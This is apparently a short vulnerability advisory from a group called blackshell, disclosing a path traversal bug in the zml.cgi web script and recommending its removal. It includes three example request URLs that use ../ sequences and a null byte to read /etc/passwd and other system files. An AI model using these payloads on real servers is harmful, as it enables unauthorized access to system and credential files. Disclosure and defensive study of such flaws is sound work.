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#--blackshell security advisory no2--# #
#--zml.cgi remote exploit--# #
#####################################################

########################
vendor details & history
########################

zml.cgi for webservers
by jero.cc

http://www.jero.cc/zml/zml.html

##################
details of exploit
##################

this is a classic CGI bug which uses ../../../../ to read remote files.

example:

http://www.blackshell.com/cgi-bin/zml.cgi?file=../../../../../../../../../etc/passwd%00
http://www.blackshell.com/cgi-bin/zml.cgi?file=../../../../../../../../../etc/fstab%00
http://www.blackshell.com/cgi-bin/zml.cgi?file=../../../../../../../../../etc/motd%00

this may be used by the attacker to gather vital details about the remote server.

###
fix
###

remote this script from your webserver

####
note
####

this test was conducted on apache box, and a redhat server.
under no circumstances are we liable for any misuse of this
information

########
hi's to:
########

blackshell dev team, #!blackshell contributors and anyone who
over the years has helped us make us what we are

#######
contact
#######

blackshellhushmail.com

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